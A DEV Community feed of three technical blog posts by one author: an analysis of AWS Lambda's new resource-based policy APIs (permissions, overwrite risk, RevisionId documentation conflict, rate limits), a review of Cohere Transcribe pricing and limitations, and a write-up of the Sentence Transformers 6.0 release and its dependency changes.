DEV Community: Manu Shukla

AWS Lambda resource policies now need 3 IAM permissions, and the docs disagree on RevisionId

Manu Shukla — Tue, 25 Aug 2026 10:47:28 +0000

AWS Lambda resource policies now need 3 IAM permissions, and the docs disagree on RevisionId

Summary. AWS announced full IAM resource-based policies for Lambda functions on 25 August 2026, in all commercial Regions, at $0 additional charge. The launch adds three API actions - PutResourcePolicy, GetResourcePolicy and DeleteResourcePolicy - on a new /2026-07-09/resource-policy/ request path, while AddPermission and GetPolicy stay on /2015-03-31/. Three details in the documentation matter more than the headline. Calling PutResourcePolicy requires 3 separate IAM permissions, not 1. The policy ceiling is still 20 KB (20,480 characters), exactly what it was before. And two AWS pages give different answers for where the RevisionId in a conditional write comes from, which is the difference between a retry loop that converges and one that returns HTTP 412 forever. There is a fourth, quieter cost: the read-modify-write pair AWS now recommends draws 100% more of the shared 15 requests per second control-plane budget than the legacy pair it replaces.

What actually shipped

The legacy path dates to the 2015-03-31 Lambda API version and has carried the same 20 KB policy ceiling throughout. Before the 25 August 2026 launch, a Lambda function's resource-based policy could only be built one statement at a time through AddPermission. That path accepts only three condition keys: aws:SourceArn, aws:SourceAccount and aws:PrincipalOrgID. No explicit Deny. No aws:PrincipalOrgPaths. No source-IP condition.

The new path accepts a complete JSON policy document. AWS states the maximum size for a JSON resource-based policy is 20 KB, and the API reference pins the Policy parameter at a minimum length of 1 and a maximum length of 20480. With a full document you can write explicit Deny statements, use the full range of IAM global condition keys, and grant several services access in one statement instead of several.

The Lambda developer guide is direct about which one AWS wants you to use: "We recommend that you define complete JSON policies to add resource-based permissions to your function."

The permission arithmetic nobody put in the announcement

The feature is aimed at platform admins and security teams. Those are exactly the teams that write tightly scoped admin roles. Here is what the developer guide's required-permissions table asks for.

API action	IAM permissions required	Count
PutResourcePolicy	`lambda:PutResourcePolicy`, `lambda:AddPermission`, `lambda:RemovePermission`	3
GetResourcePolicy	`lambda:GetResourcePolicy`, `lambda:GetPolicy`	2
DeleteResourcePolicy	`lambda:DeleteResourcePolicy`, `lambda:RemovePermission`	2
AddPermission (legacy)	`lambda:AddPermission`	1
GetPolicy (legacy)	`lambda:GetPolicy`	1
RemovePermission (legacy)	`lambda:RemovePermission`	1

Read the first row again. To use the operation AWS recommends for least-privilege policy management, an identity needs the two legacy mutation permissions as well as the new one. A role holding only lambda:PutResourcePolicy gets AccessDenied. A role granted all three can also call lambda:AddPermission and lambda:RemovePermission directly, outside the JSON editor, on any function the role's Resource block reaches.

So the identity-side blast radius of a "policy admin" role goes up, not down, even though the resource-side policy it writes can now be far more precise. If your organisation gates IAM changes on a permissions diff, expect that diff to look worse on the day you adopt this. It is the same shape we covered when IAM's 20 managed policies per role cap forced teams into inline policies, and when the IAM Role Manager's PowerUserAccess default broke role reuse.

What breaks: put-resource-policy replaces everything

The developer guide carries an Important callout: using put-resource-policy replaces any existing resource-based policy on the resource, and if the resource already has permissions defined with add-permission, put-resource-policy overwrites them. The API reference repeats it.

That is the operational hazard, because almost nobody writes Lambda trigger permissions by hand. Every AWS::Lambda::Permission in a CloudFormation stack, every event source wired up through the console, every S3 bucket notification and EventBridge rule target adds a statement through AddPermission. One put-resource-policy from a platform team, applied against a function whose triggers were provisioned by three different stacks, removes all of those statements in a single call. Nothing about the function's code or configuration changes. The triggers simply stop being authorised.

The reverse direction behaves differently, and the guide says so: add-permission called after put-resource-policy appends a statement to the existing JSON policy rather than overwriting it. So a CloudFormation stack that runs after your JSON rollout repairs its own statement, and one that ran before it does not. Drift shows up on the next deploy, not at the moment of damage.

The safe sequence is a read-modify-write: call get-resource-policy, merge, then call put-resource-policy with the --revision-id you just read. Which brings us to the part that is wrong in the docs.

The RevisionId conflict

PutResourcePolicy takes an optional RevisionId. If it does not match, the call fails with PreconditionFailedException, HTTP status 412. Its purpose is to stop two concurrent writers from silently clobbering each other.

The question is where that value comes from. AWS answers it twice, differently, on the same page.

Source	What it tells you to call for RevisionId	Correct for PutResourcePolicy?
API_PutResourcePolicy, `RevisionId` parameter	"To retrieve the current revision ID, use the GetResourcePolicy operation."	Yes
API_GetResourcePolicy, `RevisionId` response	Pass this value as the RevisionId in a PutResourcePolicy or DeleteResourcePolicy request	Yes
Developer guide, "Updating existing policies"	`get-resource-policy` output includes a RevisionId field	Yes
API_PutResourcePolicy, `PreconditionFailedException`	"For all other API operations: Call GetFunction or GetAlias to retrieve the latest RevisionId"	No
API_DeleteResourcePolicy, `PreconditionFailedException`	Same text, same routing	No

The error block splits the world into two cases: AddPermission and RemovePermission, which should call GetPolicy; and "all other API operations", which should call GetFunction or GetAlias. PutResourcePolicy falls into the second bucket by plain reading. But GetFunction returns the function configuration's revision ID, which tracks code and configuration changes, not the policy revision that GetResourcePolicy returns.

That matters because the error block is the text an engineer reads at the worst possible moment: after a 412, mid-incident, inside a retry handler. Follow it and the retry passes a revision ID from the wrong object, the precondition fails again, and the loop never converges. The wording looks like boilerplate that predates the new operations and was carried across without editing. It appears verbatim on AddPermission, PutResourcePolicy and DeleteResourcePolicy.

The rule to encode in your tooling is simple: policy revision IDs come from GetResourcePolicy (new path) or GetPolicy (legacy path). GetFunction is never the right source for a policy precondition.

The rate limit nobody costed

Lambda's control-plane quotas have not moved, and that is the problem. From the quotas page: GetFunction is 100 requests per second. GetPolicy is 15 requests per second. Everything else is "15 requests per second across all APIs (not 15 requests per second per API)", and that bucket explicitly excludes only invocation, GetFunction and GetPolicy. None of these can be increased.

GetResourcePolicy is not named in that exclusion list. It sits in the shared 15 rps bucket. So does PutResourcePolicy.

Workflow	Calls per function	Bucket used	Effective throughput
Legacy: `GetPolicy` then `AddPermission`	2	15 rps dedicated + 15 rps shared	~15 functions/sec
New: `GetResourcePolicy` then `PutResourcePolicy`	2	both in the same 15 rps shared bucket	~7.5 functions/sec
Read-only audit via `GetPolicy`	1	15 rps dedicated	~15 functions/sec
Read-only audit via `GetResourcePolicy`	1	15 rps shared	~15 rps, shared with deploys
Any of the above during a deploy	varies	shared bucket contended	lower, throttled first

Do the arithmetic for a real estate: 4,000 functions in one Region, read-modify-write, no concurrency beyond the quota. The legacy pair drains roughly 4,000 shared-bucket calls, about 4.5 minutes of shared budget. The new pair drains 8,000 shared-bucket calls, about 9 minutes, and it competes with every CreateFunction, UpdateFunctionConfiguration and PublishVersion your CI is running at the same time. On a large account the recommended workflow is slower than the one it replaces, and it throttles your deploys while it runs. Build the backoff in before the rollout, not after the first 429.

The 20 KB ceiling did not move

The launch pitch is that you can now define permissions for multiple principals and actions in a single policy document. The ceiling on that document is 20 KB, and AddPermission has always returned PolicyLengthExceededException against the same limit. This is not new headroom; it is the same headroom, spent differently.

A single statement with a Sid, a service principal, one action, a full function ARN and a Condition block on aws:SourceArn runs roughly 300 to 400 characters once minified. At 20,480 characters that is somewhere around 50 to 65 statements before the write starts failing with HTTP 400. Consolidating principals into one statement buys real room back, but a team that migrates a fan-in function with dozens of per-account grants should count the bytes before the cutover rather than after.

Two other 400-class errors are worth wiring into your rollout: PublicPolicyException, returned when the policy you submit would grant public access, and InvalidParameterValueException. DeleteResourcePolicy returns HTTP 204 rather than 200, and takes its RevisionId as a URI query parameter rather than a body field, which trips hand-rolled HTTP clients.

Who this affects, and how to tell if that is you

Run aws lambda get-policy across your functions and count statements. Three signals put you in the affected group.

You have functions with more than about a dozen AWS::Lambda::Permission statements, provisioned from more than one stack. Those are the functions where a single put-resource-policy does the most damage.

You have an IAM change-review process that blocks on new permissions. Adopting the recommended path adds lambda:AddPermission and lambda:RemovePermission to whatever role runs your policy tooling.

You operate outside the commercial partition. AWS scoped the launch to commercial Regions, yet the ResourceArn regex on all three new operations accepts (-gov), (-iso([a-z]?)) and a (eusc-)? prefix. A pattern that matches an ARN is not the same thing as a Region where the operation is enabled. Availability and authorization are different questions, and the pattern is not evidence for either. Test in the partition you actually run in.

Teams building fan-in event pipelines feel this first, because that is where a function accumulates the most grants. If you are designing one now, the permission model belongs in the design, not the retrofit. Our work on event-driven serverless architecture starts from the trigger inventory for exactly that reason. Related reading: Lambda microVMs and the 400 GB quota gap and Lambda durable execution versus Step Functions.

India-specific considerations

For teams in India running multi-account AWS estates, the practical cost is review time, not spend. The feature itself is free. A permissions change of this shape typically pulls a senior cloud engineer in for a day of role-diff and rollout design, which at prevailing Gurugram and Bengaluru contract rates of roughly Rs 12,000 to Rs 25,000 per engineer-day is a real line item on a 4,000-function estate spread across several accounts.

Under the Digital Personal Data Protection Act 2023, functions that process personal data sit inside the significant data fiduciary controls your organisation has to evidence. An explicit Deny statement scoped with aws:PrincipalOrgID is materially easier to show an auditor than a list of individually added Allow grants, so the new path helps the evidence story. The overwrite hazard cuts the other way: an accidental policy replacement that silently de-authorises a trigger is an availability event on a data path you are obliged to keep working.

What is still unknown

AWS has not published a per-Region enablement list, only "all commercial Regions". There is no stated migration tooling that converts an AddPermission-built policy into a consolidated JSON document; the guide's advice is to read the existing policy and merge by hand. CloudFormation and AWS SAM are named as supported update paths, but AWS has not documented what happens when a stack that owns AWS::Lambda::Permission resources runs against a function whose policy was replaced out of band. And the ResourceArn length constraint reads "Minimum length of 0" on a required field that AWS says must be a complete ARN.

FAQ

What did AWS change for Lambda resource-based policies?

On 25 August 2026 AWS added full IAM resource-based policy support to Lambda functions. Three API actions arrived: PutResourcePolicy, GetResourcePolicy and DeleteResourcePolicy. They accept a complete JSON policy document with multiple statements, explicit Deny, and the full range of IAM global condition keys, in all commercial Regions at no extra charge.

How many IAM permissions does PutResourcePolicy need?

Three. The Lambda developer guide's required-permissions table lists lambda:PutResourcePolicy, lambda:AddPermission and lambda:RemovePermission for that one action. GetResourcePolicy needs two, lambda:GetResourcePolicy plus lambda:GetPolicy. DeleteResourcePolicy also needs two, lambda:DeleteResourcePolicy plus lambda:RemovePermission. A role holding only the new permission is denied outright, so widen the role diff before you plan the rollout.

Will put-resource-policy delete my existing trigger permissions?

Yes. AWS states that put-resource-policy replaces any existing resource-based policy, and overwrites permissions previously defined with add-permission. Statements created by CloudFormation, AWS SAM, console-wired event sources and S3 notifications all go through AddPermission, so a single replacement call removes them without changing the function itself.

Where does the RevisionId for a conditional write come from?

From GetResourcePolicy on the new path, or GetPolicy on the legacy path. The PreconditionFailedException block on API_PutResourcePolicy routes "all other API operations" to GetFunction or GetAlias, which returns the function configuration revision instead of the policy revision. Following that text produces repeated HTTP 412 failures.

Did the 20 KB policy size limit change?

No. The Lambda quotas page still lists the function resource-based policy at 20 KB, and the API reference caps the Policy parameter at 20480 characters. AddPermission already returned PolicyLengthExceededException against the same ceiling. Consolidating principals into fewer statements recovers space, but the total budget is unchanged.

Does the new workflow hit rate limits harder?

Yes, on large estates. GetPolicy has a dedicated 15 requests per second quota. GetResourcePolicy is not in the quotas page exclusion list, so it shares the 15 requests per second bucket that covers all remaining control-plane calls, alongside PutResourcePolicy. The recommended read-modify-write pair therefore consumes twice the shared budget.

Is the feature available in GovCloud or the China Regions?

AWS scoped the announcement to commercial Regions. The ResourceArn regular expression on all three new operations does accept gov, iso and eusc partition ARNs, but a pattern that matches an ARN string is not confirmation that the operation is enabled in that partition. Test in your own partition before planning a migration.

How eCorpIT can help

Our senior engineering teams run AWS permission migrations as a change-review exercise first and a code exercise second: inventory every AddPermission-created statement, model the consolidated JSON policy, size it against the 20,480-character ceiling, and stage the rollout behind the 15 rps control-plane quota. eCorpIT is CMMI Level 5 and ISO 27001:2022 certified, and we design applications aligned with DPDP Act 2023 requirements. Book a Lambda permissions review and we will start from your trigger inventory.

References

AWS Lambda functions now support full IAM resource-based policies - AWS What's New, 25 August 2026
Working with resource-based policies in Lambda - AWS Lambda Developer Guide
Lambda quotas - AWS Lambda Developer Guide
PutResourcePolicy - AWS Lambda API Reference
GetResourcePolicy - AWS Lambda API Reference
DeleteResourcePolicy - AWS Lambda API Reference
AddPermission - AWS Lambda API Reference
GetPolicy - AWS Lambda API Reference
RemovePermission - AWS Lambda API Reference
Managing permissions in AWS Lambda - AWS Lambda Developer Guide
Fine-tuning the Resources and Conditions sections of policies - AWS Lambda Developer Guide
Granting Lambda function access to other accounts - AWS Lambda Developer Guide
Granting function access to an organization - AWS Lambda Developer Guide

Last updated: 25 August 2026.

Cohere Transcribe has no per-minute price: the $3.75/hour Model Vault floor

Manu Shukla — Tue, 25 Aug 2026 08:45:58 +0000

Cohere Transcribe has no per-minute price: the $3.75/hour Model Vault floor

Summary. Cohere sells two automatic speech recognition models, cohere-transcribe-03-2026 and cohere-transcribe-arabic-07-2026, both released under Apache 2.0. Neither has a published per-minute or per-token price. The Cohere pricing page lists Transcribe under the unit "1M tokens" with no token rate at all, and instead prints one line: "From $$3.75 / hour / instance (via Model Vault)". The trial key that lets you evaluate it is capped at 1,000 API calls a month and 5 requests a minute on the Audio Transcriptions endpoint, and the production rate limit for that endpoint is the string "Contact sales@cohere.com". OpenAI, by contrast, publishes $0.0045 per minute for gpt-transcribe and $0.006 per minute for Whisper. At those rates a single always-on Cohere instance at $3.75/hour has to absorb roughly 10,100 hours of audio a month before it beats metered transcription.

That is the commercial shape. The engineering shape is worse in a way the marketing page does not admit: the models return a bare string, cannot detect the input language, and produce neither timestamps nor speaker labels.

What Cohere actually published

cohere-transcribe-03-2026 is a 2-billion-parameter audio-in, text-out Conformer, documented as covering 14 languages: English, German, French, Italian, Spanish, Portuguese, Greek, Dutch, Polish, Vietnamese, Chinese, Arabic, Japanese and Korean. Maximum file size is 25MB. The weights went up on Hugging Face on 24 March 2026 and have been pulled 526,930 times as of 25 August 2026.

cohere-transcribe-arabic-07-2026 is a fine-tune of that model, announced on 7 July 2026, covering Arabic and English only, with multidialectal and code-switching support declared. Its weights were created on 18 June 2026 and last modified on 13 July 2026, with 53,753 downloads.

Both are Apache 2.0. Both are callable free, subject to rate limits. Neither has a metered price.

The trial ceiling is 1,000 calls, not 5 requests a minute

Cohere's rate limits page gives the Audio Transcriptions endpoint a trial limit of 5 requests per minute and a production limit of "Contact sales@cohere.com". The same page opens with a sentence that governs everything below it: "Trial keys (and prod keys on newer Chat model variants) are limited to 1,000 API calls a month."

Those two numbers do not describe the same constraint. Five requests a minute sustained for a month is about 216,000 calls. The monthly cap is 1,000. The per-minute figure is a burst limit that you can exhaust, permanently, in three and a half minutes of steady traffic. Anyone sizing a pilot off the 5 req/min row will build a load test that dies on day one.

The endpoint has no self-serve production tier at all. Every other Cohere endpoint on that page publishes a production number: Embed 2,000 inputs/min, Rerank 1,000 req/min, Tokenize 2,000 req/min, EmbedJob 50 req/min. Audio is the only one routed to sales.

The pricing doc does not mention audio

Cohere's own pricing explainer enumerates how each family is billed: generative models per token with separate input and output rates, Rerank by quantity of searches, Embed by tokens embedded. Audio does not appear. There is no billing unit defined for speech anywhere in the documentation.

On the marketing pricing page the Transcribe card carries the field "per":"1M tokens" in the page payload with no input or output price attached, next to cards like Command R7B that do carry rates ($0.0375 input, $0.15 output per 1M tokens). An audio-in model priced in tokens per million, with the token rate missing, is not a pricing model. It is a placeholder.

What $3.75 an hour per instance means against metered ASR

Model Vault bills per hour per instance, not per minute of audio, so the comparison only resolves once you fix a utilisation figure.

Basis	Published rate	Cost for 100 hours of audio/month	Monthly cost at 730 hours
Cohere Model Vault instance	$3.75/hour/instance	$2,737.50 (instance runs regardless)	$2,737.50
OpenAI `gpt-4o-mini-transcribe`	$0.003/minute	$18.00	$131.40
OpenAI `gpt-transcribe`	$0.0045/minute	$27.00	$197.10
OpenAI Whisper	$0.006/minute	$36.00	$262.80
OpenAI `gpt-4o-transcribe-diarize`	$0.006/minute	$36.00	$262.80

An always-on instance at $3.75/hour costs $2,737.50 over a 730-hour month. Against $0.0045 a minute that instance has to process about 10,139 hours of audio per month, roughly 338 hours a day, before it is the cheaper option. Against Whisper's $0.006 a minute the break-even falls to about 7,604 hours a month, still 253 hours of audio a day per instance. Below that, metered transcription wins on price and you have not yet paid for the capability gaps below.

The instance-hour model is the right one for steady, high-volume, privacy-constrained pipelines. It is the wrong one for bursty workloads, and Cohere publishes nothing that lets you model the middle.

Three gaps you have to engineer around

The Audio Transcriptions API reference makes the shape of the endpoint plain. POST https://api.cohere.com/v2/audio/transcriptions takes model, language, file and an optional temperature. The 200 response has exactly one field: text.

Language is a required parameter. Cohere's model page states, verbatim, that the model "does not feature explicit, automatic language detection" and "performs best when remaining in-distribution of a single, pre-specified language amongst the 14 in the range it supports". If you do not already know what language a file is in, you need a separate language-identification step in front of the call. The marketing bullet "Multilingual across 14 languages" means 14 languages one at a time, chosen by you.

No timestamps, no diarization. Both model pages list these as limitations in the same words. There are no segments, no word offsets, no speaker labels. Any product that shows a synchronised transcript, jumps playback to a phrase, or attributes a line to a speaker has to build forced alignment and diarization itself. OpenAI charges $0.006 a minute for gpt-4o-transcribe-diarize, which includes the feature Cohere's models do not have.

The accepted file extensions exclude what phones and browsers record. The API reference lists flac, mp3, mpeg, mpga, ogg and wav. There is no m4a, no mp4, no webm. iOS voice memos and MediaRecorder output both need a transcode step before they reach the endpoint.

The Arabic model is missing from the model index

Cohere's models overview has an Audio table with exactly one row, cohere-transcribe-03-2026. Two lines above that table, the same page says: "For Arabic-language transcription, use Cohere Transcribe Arabic for best-in-class performance." The model ID for the model it recommends is not in the table. It is only on the Transcribe Arabic page, where the identifier cohere-transcribe-arabic-07-2026 finally appears.

The same page adds that Transcribe is available on Microsoft Foundry as coherelabs-cohere-transcribe-03-2026 and that "Cohere Transcribe Arabic is not yet available on other platforms". So the recommended Arabic model is absent from the model index, absent from Foundry, and reachable only through Cohere's own API or a Model Vault instance.

If your model registry is generated by scraping the models table, as most are, you will never see it.

The benchmark table does not support the four-of-six claim

Cohere's Transcribe Arabic announcement reports an average word error rate of 25.87 on the Open Universal Arabic ASR leaderboard as of 7 July 2026, against 28.32 for Meta's OmniASR-LLM-7B and 36.86 for OpenAI's Whisper Large V3. Those two deltas check out: 2.45 points and 10.99 points.

The claim that does not check out is the next one. The post says the model "ranks first on four of the six composite task sets". Count the rows in Cohere's own table.

Test set	Transcribe Arabic	OmniASR 7B-LLM	Whisper Large V3	Cohere Transcribe	Lowest WER
SADA	37.47	41.61	55.96	60.11	Transcribe Arabic
Common Voice	5.82	9.75	17.83	8.17	Transcribe Arabic
MASC (clean)	15.54	19.69	24.66	8.66	Cohere Transcribe
MASC (noisy)	27.07	29.29	34.63	19.01	Cohere Transcribe
MGB-2	15.54	14.13	16.26	25.33	OmniASR 7B-LLM
Casablanca	49.71	56.46	71.81	62.71	Transcribe Arabic

Counting all four columns, Transcribe Arabic has the lowest WER on three of six sets, not four. Counting only the leaderboard peers and excluding the base Cohere model, it wins five of six. Neither reading produces four. The same post says it "delivers substantial gains over Cohere Transcribe" on Arabic audio, yet the base March model beats it by 6.88 points on MASC clean and 8.06 points on MASC noisy.

For a buyer this matters in one specific way. If your Arabic audio resembles MASC, which is read and broadcast Arabic rather than spontaneous dialect, the older and more broadly multilingual cohere-transcribe-03-2026 is the better model on Cohere's own numbers, and it is the one that is actually listed in the model index and on Microsoft Foundry.

How to tell if this affects you

Run three checks before you commit. Measure your monthly audio hours; below roughly 250 hours a day per instance, metered per-minute transcription is cheaper than a $3.75/hour instance. Check whether your product needs timestamps or speaker labels, because neither model produces them and building forced alignment is the larger part of that work. Check what your clients actually upload, because m4a and webm both need a transcode before the endpoint will accept them.

If data residency is the reason you are looking at open weights, note that Apache 2.0 gives you the option to self-host without any Cohere contract at all. For teams in India weighing this against DPDP Act 2023 obligations, self-hosting the weights inside your own VPC keeps voice recordings, which are personal data, out of a third-party processor entirely. That path costs GPU time rather than instance-hours, and it is the only one where the absence of a published per-minute rate stops mattering.

India-specific considerations

None of the 14 supported languages is an Indian language. Hindi, Bengali, Tamil, Telugu and Marathi are all outside the range, and the Arabic fine-tune covers only Arabic and English. Indian teams building voice products for a domestic user base get English-only coverage from these models, and English spoken with an Indian accent is not represented in any of the six benchmark sets Cohere published. Anyone evaluating this for an Indian contact-centre workload needs their own held-out test set before the pilot, not after.

FAQ

How much does Cohere Transcribe cost per minute of audio?

Cohere publishes no per-minute rate. The only price on the pricing page is "From $$3.75 / hour / instance (via Model Vault)", which bills for a running instance rather than for audio processed. The documentation page explaining Cohere's pricing model covers generative, Rerank and Embed billing, and does not mention audio at all.

Can I use Cohere Transcribe in production on a self-serve key?

No. The rate limits page gives the Audio Transcriptions endpoint a production limit of "Contact sales@cohere.com", unlike Embed, Rerank, EmbedJob and Tokenize, which all publish numeric production limits. Trial keys are capped at 1,000 API calls a month overall, so sustained production traffic is not available without a sales conversation.

Does Cohere Transcribe detect the language of the audio automatically?

No. The language parameter is required on the API, and the model documentation states the model "does not feature explicit, automatic language detection". You must supply an ISO-639-1 code with every request. Files of unknown language need a separate language-identification step in front of the transcription call.

Does Cohere Transcribe produce timestamps or speaker labels?

No. Both the Transcribe and Transcribe Arabic documentation pages list timestamps and speaker diarization as limitations. The successful API response contains a single field, text. Synchronised playback, per-word offsets and speaker attribution all have to be built separately, typically with a forced-alignment and diarization stage.

Which audio file formats does the endpoint accept?

The API reference lists flac, mp3, mpeg, mpga, ogg and wav. It does not list m4a, mp4 or webm, so iOS voice memos and browser MediaRecorder output need transcoding first. Maximum file size is 25MB according to the model documentation, which is the only size limit Cohere publishes.

Is Cohere Transcribe Arabic always better than the base model on Arabic?

Not on every test set. On Cohere's published table the base cohere-transcribe-03-2026 records a lower word error rate on MASC clean, 8.66 against 15.54, and on MASC noisy, 19.01 against 27.07. The Arabic model wins the average and wins SADA, Common Voice and Casablanca.

How many hours of audio justify a Model Vault instance?

At $3.75 per hour per instance a continuously running instance costs $2,737.50 over a 730-hour month. Against OpenAI's $0.0045 per minute for gpt-transcribe, that instance needs roughly 10,139 hours of audio a month to break even, about 338 hours a day. Against Whisper's $0.006 per minute it needs roughly 7,604 hours.

Are the models open source?

Yes. Both cohere-transcribe-03-2026 and cohere-transcribe-arabic-07-2026 are published under the Apache 2.0 licence on Hugging Face, with 526,930 and 53,753 downloads respectively as of 25 August 2026. Self-hosting the weights avoids the instance-hour price and the sales-gated production limit entirely, at the cost of running your own GPU capacity.

How eCorpIT can help

Choosing between metered transcription, an instance-hour contract and self-hosted open weights is a utilisation question before it is a model-quality question, and the break-even moves with your actual audio hours. Our senior engineering teams build the held-out test set, measure word error rate on your own recordings, and model the three cost bases side by side. eCorpIT is CMMI Level 5 and ISO 27001:2022 certified, which matters when the audio in question is customer voice data. Talk to our speech and AI platform team about your transcription workload.

Related reading: our comparison of transcription cost and accuracy across OpenAI's speech models, our guide to choosing an embedding model for retrieval, and the Command A migration notes for teams already on Cohere.

References

Cohere Transcribe model documentation - model ID, 14 languages, 25MB file size, limitations, retrieved 25 August 2026.
Cohere Transcribe Arabic model documentation - model ID cohere-transcribe-arabic-07-2026, code-switching support, limitations, retrieved 25 August 2026.
An overview of Cohere's models - Audio table with a single row, Microsoft Foundry availability, retrieved 25 August 2026.
Cohere API keys and rate limits - 1,000 calls a month trial cap, 5 req/min audio trial limit, contact-sales production limit, retrieved 25 August 2026.
How does Cohere's pricing work? - per-token, per-search and per-embedding billing units, retrieved 25 August 2026.
Create a transcription - Cohere API reference - required language parameter, accepted file extensions, single-field response, retrieved 25 August 2026.
Cohere pricing - Transcribe card, "From $$3.75 / hour / instance (via Model Vault)", Command R7B token rates, retrieved 25 August 2026.
Meet Cohere Transcribe Arabic - Cohere blog, 7 July 2026 - 25.87 average WER, per-dataset table, four-of-six claim, human preference results.
OpenAI API pricing - gpt-transcribe $0.0045/minute, Whisper $0.006/minute, gpt-4o-transcribe-diarize $0.006/minute, retrieved 25 August 2026.
Hugging Face models API listing for cohere-transcribe - creation dates, last-modified dates and download counts, retrieved 25 August 2026.
CohereLabs/cohere-transcribe-03-2026 on Hugging Face - Apache 2.0 weights for the base model.
Cohere documentation index - documentation index confirming the .md retrieval convention used for these pages.

Last updated: 25 August 2026.

Sentence Transformers 6.0 shipped ColBERT retrieval on 18 August 2026 and a 42x index

Manu Shukla — Tue, 25 Aug 2026 08:02:02 +0000

Sentence Transformers 6.0 shipped ColBERT retrieval on 18 August 2026 and a 42x index

Summary. Sentence Transformers v6.0.0 was published on 18 August 2026 at 13:46 UTC, twelve days after v5.7.0 on 6 August. It adds MultiVectorEncoder, a fourth model type that keeps one vector per token instead of one per document. On NanoBEIR the multi-vector model scores 0.6868 against 0.6764 for a dense model with the same 149M parameters and the same backbone, a gain of roughly one NDCG point. The index for 4,874 Natural Questions passages grows from 7.5 MB to 311.5 MB, about 42x. The release also moves the transformers floor from >=4.41.0,<6.0.0 to >=5.0.0,<6.0.0 and torch from >=1.11.0 to >=2.2, and the README shipped inside the 6.0.0 artifact, the one rendered on the PyPI landing page, still tells readers to use PyTorch 1.11.0+ and transformers v4.41.0+.

That last detail is the one to check before you run pip install -U sentence-transformers in a build image. The package metadata and the package's own front page disagree about what the package needs.

What actually shipped

The release is titled "v6.0.0 - MultiVectorEncoder for ColBERT & late interaction models, transformers v5, float32 scoring, faster training & encoding". The GitHub release record shows created_at of 2026-08-18T12:28:20Z and published_at of 2026-08-18T13:46:07Z, with draft: false and prerelease: false. PyPI records the sdist and wheel upload on the same day.

The release body describes the new model type directly: "Sentence Transformers v6.0 introduces MultiVectorEncoder, for ColBERT-style late interaction retrieval. Where a regular embedding model compresses a whole text into one vector, a multi-vector model keeps one vector per token and scores query against document with the MaxSim operator. That preserves token-level matching information that a single vector has to average away, which usually means stronger retrieval at the cost of a bigger index."

The release notes count 332 tests for MultiVectorEncoder and parity checks against reference scores for 27 pretrained checkpoints. The documentation tables cover 29 text and 22 visual document retrieval checkpoints.

The index cost, measured

The accompanying Hugging Face post by Tom Aarsen, Antoine Chaffin and Raphaël Sourty, published 18 August 2026, runs the numbers on a single corpus. Encoding 4,874 Natural Questions passages with lightonai/LateOn produced 608,414 token vectors, an average of 124.8 per passage.

Index	Vectors stored	Dimensions	Float32 size
Dense `all-MiniLM-L6-v2`	4,874	384	7.5 MB
Dense `gte-modernbert-base`	4,874	768	15.0 MB
Multi-vector `lightonai/LateOn`	608,414	128	311.5 MB
Multi-vector, fast-plaid index	608,414	128	92 MB
Multi-vector, token pooling `pool_factor=2`	305,438	128	156.4 MB

Chaffin and Sourty, both of LightOn AI and co-authors of the post, state the ratio plainly: "That's about 42x the storage of the MiniLM index, or 62 KiB per passage."

Token pooling recovers some of it. At pool_factor=3 the index drops to 204,407 vectors and 104.7 MB, a 2.98x reduction, and the original experiments the post cites found 99.0% of unpooled retrieval performance at that setting. Pooling all 608k vectors took about 6 seconds. The post is careful that this is corpus-specific and tells you to measure it with an evaluator before settling on a factor.

What you get for the 42x

On NanoBEIR, 13 subsets of 50 queries each, the post compares lightonai/LateOn against lightonai/DenseOn, which share the same ModernBERT backbone and the same 149M parameters. Late interaction wins on 9 of the 13 datasets and on the mean, 0.6868 against 0.6764. On the full 15-dataset BEIR the same pair scores 57.22 against 56.20. On MLDR the multilingual variant is much further ahead, 77.92 against 51.59.

The four losses matter as much as the wins, because they tell you where the tradeoff turns negative: ArguAna (0.5562 against 0.5660), SciFact (0.7978 against 0.8057), SCIDOCS (0.4469 against 0.4484) and FiQA2018 (0.5871 against 0.6491). FiQA is the widest gap in the table and it goes the wrong way.

One NDCG point on a mean, for 42x the storage, is not a decision you make from a benchmark table. It is a decision you make after running your own queries. Teams already sizing a vector store will recognise the shape of the problem from Postgres vector search with pgvector and pgvectorscale, where the index type, not the model, sets the bill.

The dependency floor, and the page that contradicts it

The release moved eight floors at once.

Dependency	v5.7.0	v6.0.0
`transformers`	`>=4.41.0,<6.0.0`	`>=5.0.0,<6.0.0`
`huggingface-hub`	`>=0.23.0`	`>=1.3.0,<2.0.0`
`torch`	`>=1.11.0`	`>=2.2`
`numpy`	`>=1.20.0`	`>=1.24.0`
`scikit-learn`	`>=0.22.0`	`>=1.1.0`
`datasets` (train extra)	`>=2.0.0`	`>=2.16.0`
`accelerate` (train extra)	`>=0.20.3`	`>=1.3.0`

The release body explains why: "Sentence Transformers v6.0 requires transformers v5. The v4.x compatibility branches have been removed, which is what allows the new modality handling, chat template support, and unpadding paths to be relied upon rather than feature-detected." requires-python stays at >=3.10. The notes add that multi-GPU training with streaming IterableDataset needs accelerate>=1.13.0 in practice, which is above the declared floor.

Here is the conflict. The wheel metadata for 6.0.0 declares transformers<6.0.0,>=5.0.0 and torch>=2.2. The README bundled in that same artifact, which is what PyPI renders on the project page and what the JSON API returns as info.description, still reads: "We recommend Python 3.10+, PyTorch 1.11.0+, and transformers v4.41.0+."

The repository's main branch README has since been corrected to "PyTorch 2.2+, and transformers v5.0+". The published package has not. As of 25 August 2026, the page most engineers land on when they check requirements advertises floors the package will refuse to install against. For reference, transformers 5.15.1 was released on 19 August 2026, so a current environment clears the real floor comfortably. An environment pinned at 4.x does not, and the PyPI page will not warn you.

The changes that break silently

Dependency floors fail loudly. These do not.

similarity and similarity_pairwise became methods rather than properties. Calls like model.similarity(embeddings1, embeddings2) work unchanged, but the release notes are explicit about the failure mode: "assigning a custom function to model.similarity is no longer supported: it now silently shadows the method where it previously raised an AttributeError." Code that used to blow up now runs and returns the wrong scores. Set model.similarity_fn_name = "dot" instead.

A bare list of chat message dictionaries is now read as one conversation. model.encode([{"role": "user", ...}, {"role": "assistant", ...}]) produces one embedding where v5.x produced two. Wrap each conversation in its own list. This applies to SentenceTransformer, SparseEncoder and MultiVectorEncoder; CrossEncoder is unaffected.

quantize_embeddings returns a list of per-input matrices when given a list of 2D arrays, where it previously stacked them into one 3D array. Any caller that indexed the stacked array needs updating.

Multi-process encode(pool=..., precision="int8") now quantizes once after merging worker results. The notes state that "quantized indexes built with v5.x multi-process encoding are not bit-compatible and should be regenerated", and that peak memory is higher because the full float32 matrix is materialized before quantization.

